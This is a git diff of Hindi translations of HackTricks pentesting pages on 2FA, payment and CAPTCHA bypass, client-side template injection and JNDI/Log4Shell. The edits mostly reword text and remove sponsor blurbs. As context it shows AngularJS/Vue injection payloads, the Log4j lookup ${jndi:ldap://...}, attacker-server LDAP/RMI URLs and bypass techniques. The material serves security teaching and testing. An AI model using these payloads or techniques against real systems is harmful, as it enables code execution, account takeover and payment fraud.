सुरक्षा कर सकती हैं लेकिन आंतरिक खाता क्रियाओं की नहीं। +दर सीमाएँ लॉगिन प्रयासों की रक्षा कर सकती हैं लेकिन आंतरिक खाता क्रियाओं की नहीं। #### **SMS Code Resend Costs** @@ -109,13 +96,13 @@ CSRF या Clickjacking कमजोरियों का पता लगा #### **IP Address Impersonation** -**X-Forwarded-For** हेडर के माध्यम से पीड़ित के IP पते का अनुकरण करना प्रतिबंधों को बायपास कर सकता है। +**X-Forwarded-For** हेडर के माध्यम से पीड़ित के IP पते की नकल करना प्रतिबंधों को बायपास कर सकता है। ### **Utilizing Older Versions** #### **Subdomains** -उप-डोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी है या कमजोर 2FA कार्यान्वयन हो सकते हैं। +उपडोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी है या कमजोर 2FA कार्यान्वयन हो सकते हैं। #### **API Endpoints** @@ -123,7 +110,7 @@ CSRF या Clickjacking कमजोरियों का पता लगा ### **Handling of Previous Sessions** -2FA सक्रियण पर मौजूदा सत्रों को समाप्त करना समझौता किए गए सत्रों से अनधिकृत पहुँच के खिलाफ खातों की सुरक्षा करता है। +2FA सक्रियण पर मौजूदा सत्रों को समाप्त करना समझौता किए गए सत्रों से अनधिकृत पहुंच के खिलाफ खातों को सुरक्षित करता है। ### **Access Control Flaws with Backup Codes** @@ -139,11 +126,11 @@ CSRF या Clickjacking कमजोरियों का पता लगा ### **Decoy Requests** -ब्रूट फोर्स प्रयासों को अस्पष्ट करने या दर सीमित करने की तंत्रों को भटकाने के लिए डेकोय अनुरोधों का उपयोग करना बायपास रणनीतियों में एक और परत जोड़ता है। ऐसे अनुरोधों को तैयार करना एप्लिकेशन की सुरक्षा उपायों और दर सीमित करने के व्यवहारों की सूक्ष्म समझ की आवश्यकता होती है। +ब्रूट फोर्स प्रयासों को अस्पष्ट करने या दर सीमित करने की तंत्रों को भटकाने के लिए डेकोय अनुरोधों का उपयोग करना बायपास रणनीतियों में एक और परत जोड़ता है। ऐसे अनुरोधों को तैयार करने के लिए एप्लिकेशन की सुरक्षा उपायों और दर सीमित करने के व्यवहारों की सूक्ष्म समझ की आवश्यकता होती है। ### OTP Construction errors -यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता के पास पहले से है या जो OTP बनाने के लिए भेजा जा रहा है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है। +यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता पहले से ही रखता है या जो OTP बनाने के लिए भेजा जा रहा है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है। ## References @@ -151,17 +138,6 @@ CSRF या Clickjacking कमजोरियों का पता लगा * [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) * [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} P diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index aaa7033da..e379aaf03 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -15,14 +15,6 @@ GCP हैकिंग सीखें और अभ्यास करें: < {% endhint %} -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## भुगतान बायपास तकनीकें ### अनुरोध इंटरसेप्शन @@ -33,7 +25,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < - **कॉलबैक**: इसका उपयोग आमतौर पर लेन-देन पूरा होने के बाद उपयोगकर्ता को रीडायरेक्ट करने के लिए किया जाता है। ### URL विश्लेषण -यदि आप किसी पैरामीटर का सामना करते हैं जिसमें एक URL होता है, विशेष रूप से एक जो _example.com/payment/MD5HASH_ के पैटर्न का अनुसरण करता है, तो इसकी निकटता से जांच करने की आवश्यकता है। यहाँ एक चरण-दर-चरण दृष्टिकोण है: +यदि आप किसी पैरामीटर का सामना करते हैं जिसमें एक URL है, विशेष रूप से एक जो _example.com/payment/MD5HASH_ के पैटर्न का अनुसरण करता है, तो इसकी निकटता से जांच करने की आवश्यकता है। यहाँ एक चरण-दर-चरण दृष्टिकोण है: 1. **URL कॉपी करें**: पैरामीटर मान से URL निकालें। 2. **नया विंडो निरीक्षण**: कॉपी किए गए URL को एक नए ब्राउज़र विंडो में खोलें। यह क्रिया लेन-देन के परिणाम को समझने के लिए महत्वपूर्ण है। @@ -53,12 +45,6 @@ GCP हैकिंग सीखें और अभ्यास करें: < 1. **प्रतिक्रियाओं को इंटरसेप्ट करें**: सर्वर से प्रतिक्रियाओं को इंटरसेप्ट और विश्लेषण करने के लिए उपकरणों का उपयोग करें। किसी भी डेटा की तलाश करें जो सफल लेन-देन को इंगित कर सकता है या भुगतान प्रक्रिया में अगले चरणों को प्रकट कर सकता है। 2. **प्रतिक्रियाओं को संशोधित करें**: ब्राउज़र या एप्लिकेशन द्वारा संसाधित होने से पहले प्रतिक्रियाओं को संशोधित करने का प्रयास करें ताकि सफल लेन-देन परिदृश्य का अनुकरण किया जा सके। -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index cfa758071..3e27a6ee9 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -26,7 +26,7 @@ Learn & practice GCP Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/client-side-template-injection-csti.md b/pentesting-web/client-side-template-injection-csti.md index eadc62dda..028da7762 100644 --- a/pentesting-web/client-side-template-injection-csti.md +++ b/pentesting-web/client-side-template-injection-csti.md @@ -15,31 +15,18 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Summary -यह [**सर्वर साइड टेम्पलेट इंजेक्शन**](ssti-server-side-template-injection/) की तरह है लेकिन **क्लाइंट** में। **SSTI** आपको दूरस्थ सर्वर पर **कोड** निष्पादित करने की अनुमति दे सकता है, **CSTI** आपको पीड़ित के ब्राउज़र में **मनमाना जावास्क्रिप्ट** कोड निष्पादित करने की अनुमति दे सकता है। +यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **कोड** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **मनमाना JavaScript** कोड **execute** करने की अनुमति दे सकता है। -इस भेद्यता के लिए **परीक्षण** **SSTI** के मामले में बहुत **समान** है, इंटरप्रेटर **एक टेम्पलेट** की अपेक्षा करता है और इसे निष्पादित करेगा। उदाहरण के लिए, एक पेलोड जैसे `{{ 7-7 }}` के साथ, यदि ऐप **कमजोर** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल देखेंगे: `{{ 7-7 }}` +इस भेद्यता के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **एक template** की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल देखेंगे: `{{ 7-7 }}` ## AngularJS -AngularJS एक व्यापक रूप से उपयोग किया जाने वाला जावास्क्रिप्ट फ्रेमवर्क है जो HTML के साथ विशेषताओं के माध्यम से इंटरैक्ट करता है जिसे निर्देशों के रूप में जाना जाता है, एक उल्लेखनीय **`ng-app`** है। यह निर्देश AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर जावास्क्रिप्ट अभिव्यक्तियों का निष्पादन संभव होता है। +AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है जिसे directives के रूप में जाना जाता है, एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions के execution की अनुमति मिलती है। -उन परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` टैग के साथ HTML बॉडी में गतिशील रूप से डाला जाता है, मनमाना जावास्क्रिप्ट कोड निष्पादित करना संभव है। यह इनपुट के भीतर AngularJS की सिंटैक्स का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे जावास्क्रिप्ट कोड निष्पादित किया जा सकता है: +ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड execute किया जा सकता है: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -64,7 +51,7 @@ AngularJS एक व्यापक रूप से उपयोग किय ">
aaa
``` -एक वास्तव में अच्छा पोस्ट CSTI पर VUE में [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पाया जा सकता है। +CSTI पर VUE में एक बहुत अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है। ### **V3** ``` @@ -96,35 +83,25 @@ javascript:alert(1)%252f%252f..%252fcss-images test [self.alert(1)mod1] ``` -**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) +**अधिक पेलोड्स** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) -## **Brute-Force Detection List** +## **ब्रूट-फोर्स डिटेक्शन लिस्ट** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और प्रैक्टिस करें AWS हैकिंग:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और प्रैक्टिस करें GCP हैकिंग: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
{% endhint %} diff --git a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 50fce1d2d..da5693517 100644 --- a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -15,24 +15,16 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information -JNDI, 1990 के दशक के अंत से Java में एकीकृत, एक निर्देशिका सेवा के रूप में कार्य करता है, जो Java कार्यक्रमों को नामकरण प्रणाली के माध्यम से डेटा या वस्तुओं को खोजने में सक्षम बनाता है। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जो विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करने की अनुमति देता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं। +JNDI, जो 1990 के दशक के अंत से Java में एकीकृत है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे Java प्रोग्राम डेटा या वस्तुओं को नामकरण प्रणाली के माध्यम से खोज सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करना संभव होता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं। ### JNDI Naming Reference Java वस्तुओं को JNDI Naming References का उपयोग करके संग्रहीत और पुनर्प्राप्त किया जा सकता है, जो दो रूपों में आते हैं: * **Reference Addresses**: एक वस्तु के स्थान को निर्दिष्ट करता है (जैसे, _rmi://server/ref_), जो निर्दिष्ट पते से सीधे पुनर्प्राप्ति की अनुमति देता है। -* **Remote Factory**: एक दूरस्थ फैक्ट्री वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है। +* **Remote Factory**: एक दूरस्थ फैक्टरी वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है। हालांकि, इस तंत्र का दुरुपयोग किया जा सकता है, जिससे मनमाने कोड को लोड और निष्पादित किया जा सकता है। एक प्रतिकूल उपाय के रूप में: @@ -40,9 +32,9 @@ Java वस्तुओं को JNDI Naming References का उपयोग * **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` डिफ़ॉल्ट रूप से JDK 6u141, 7u131, 8u121 से, दूरस्थ रूप से लोड की गई Java वस्तुओं के निष्पादन को अवरुद्ध करता है। यदि इसे `true` पर सेट किया जाता है, तो सुरक्षा प्रबंधक की निगरानी के बिना दूरस्थ कोड निष्पादन संभव है। * **CORBA**: इसका कोई विशिष्ट गुण नहीं है, लेकिन सुरक्षा प्रबंधक हमेशा सक्रिय रहता है। -हालांकि, **Naming Manager**, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा अनुप्रयोग घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है। +हालांकि, **Naming Manager**, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा एप्लिकेशन घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है। -दुरुपयोग योग्य URLs के उदाहरणों में शामिल हैं: +दुरुपयोग योग्य URL के उदाहरणों में शामिल हैं: * _rmi://attacker-server/bar_ * _ldap://attacker-server/bar_ @@ -68,26 +60,26 @@ CORBA (Common Object Request Broker Architecture) एक **Interoperable Object * एक **सुरक्षा प्रबंधक** की स्थापना। * सुरक्षा प्रबंधक को संभावित रूप से दुर्भावनापूर्ण कोडबेस से कनेक्शन की अनुमति देने के लिए कॉन्फ़िगर करना। यह निम्नलिखित के माध्यम से किया जा सकता है: * सॉकेट अनुमति, जैसे, `permissions java.net.SocketPermission "*:1098-1099", "connect";`। -* फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (`permission java.io.FilePermission "<>", "read";`) या उन विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं। +* फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (`permission java.io.FilePermission "<>", "read";`) या विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं। हालांकि, कुछ विक्रेता नीतियाँ लचीली हो सकती हैं और डिफ़ॉल्ट रूप से इन कनेक्शनों की अनुमति दे सकती हैं। ### RMI Context -RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक भिन्न है। CORBA की तरह, मनमाने वर्ग डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है। +RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक अलग है। CORBA की तरह, मनमाने क्लास डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है। ### LDAP सबसे पहले, हमें **Search** और **Lookup** के बीच अंतर करना होगा।\ -एक **search** एक URL का उपयोग करेगा जैसे `ldap://localhost:389/o=JNDITutorial` JNDITutorial वस्तु को LDAP सर्वर से खोजने और **इसके गुणों को पुनर्प्राप्त करने** के लिए।\ -एक **lookup** **नामकरण सेवाओं** के लिए है क्योंकि हम **जो कुछ भी एक नाम से बंधा है** उसे प्राप्त करना चाहते हैं। +एक **search** एक URL का उपयोग करेगा जैसे `ldap://localhost:389/o=JNDITutorial` JNDITutorial वस्तु को LDAP सर्वर से खोजने के लिए और **इसके गुणों को पुनर्प्राप्त करने के लिए**।\ +एक **lookup** का उद्देश्य **नामकरण सेवाओं** के लिए है क्योंकि हम **जो कुछ भी एक नाम से बंधा है** उसे प्राप्त करना चाहते हैं। -यदि LDAP खोज को **SearchControls.setReturningObjFlag() with `true`** के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा। +यदि LDAP खोज को **SearchControls.setReturningObjFlag() के साथ `true` के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा**। इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं।\ -एक **हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश कर सकता है** जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो **दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी** है)। इसको दुरुपयोग करने का एक और तरीका होगा **LDAP खोज में एक MitM हमला करना** उदाहरण के लिए। +एक **हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश करके** जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो **दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी** है)। इसको दुरुपयोग करने का एक और तरीका यह होगा कि एक **MitM हमले को LDAP खोज में किया जाए** उदाहरण के लिए। -यदि आप **एक ऐप को JNDI LDAP URL हल करने** के लिए बना सकते हैं, तो आप उस LDAP को नियंत्रित कर सकते हैं जो खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)। +यदि आप **एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं**, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)। #### Deserialization exploit @@ -98,7 +90,7 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ #### JNDI Reference exploit -इस LDAP पर हमला करना **JavaFactory संदर्भों** का उपयोग करके आसान है: +इस LDAP पर **JavaFactory संदर्भों** का उपयोग करके हमला करना आसान है: ![](<../../.gitbook/assets/image (1059).png>) @@ -106,17 +98,17 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह एक [**विशेष सिंटैक्स**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) का समर्थन करता है जो `${prefix:name}` के रूप में है जहां `prefix` विभिन्न [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) में से एक है जहां `name` का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, `${java:version}` वर्तमान में चल रही Java का संस्करण है। -[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ने एक `jndi` Lookup सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से `java:comp/env/` के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं एक **":"** शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है। +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ने `jndi` लुकअप सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से `java:comp/env/` के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं **":"** शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है। -कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में कोई **पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और ये Lookups Log4j के कॉन्फ़िगरेशन में और साथ ही जब पंक्तियाँ लॉग की जाती हैं, उपयोग की जा सकती हैं। +कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में कोई **पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और ये लुकअप Log4j के कॉन्फ़िगरेशन में और जब पंक्तियाँ लॉग की जाती हैं, दोनों में उपयोग किए जा सकते हैं। -इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है **Log4j का कमजोर संस्करण जो उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करता है**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित) यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया। +इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है एक **कमजोर Log4j संस्करण जो उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करता है**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित), यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया। ## Overview of Log4Shell-Related CVEs ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]** -यह कमजोरियाँ `log4j-core` घटक में एक महत्वपूर्ण **अविश्वसनीय अनुक्रमण दोष** है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह **दूरस्थ कोड निष्पादन (RCE)** की अनुमति देती है, जिससे हमलावरों को प्रणालियों पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो अलीबाबा क्लाउड सुरक्षा टीम से हैं और विभिन्न अपाचे ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))। +यह कमजोरियाँ `log4j-core` घटक में एक महत्वपूर्ण **अविश्वसनीय अनुक्रमण दोष** है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह **दूरस्थ कोड निष्पादन (RCE)** की अनुमति देती है, जिससे हमलावरों को प्रणालियों पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो Alibaba Cloud Security Team से हैं और यह विभिन्न Apache ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए Sigma नियम उपलब्ध हैं ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))। ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]** @@ -132,11 +124,11 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ ### **CVE-2021-45105** **\[High]** -Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए `log4j 2.17.0` जारी किया गया। अधिक विवरण BleepingComputer की [रिपोर्ट](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) में हैं। +Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए `log4j 2.17.0` 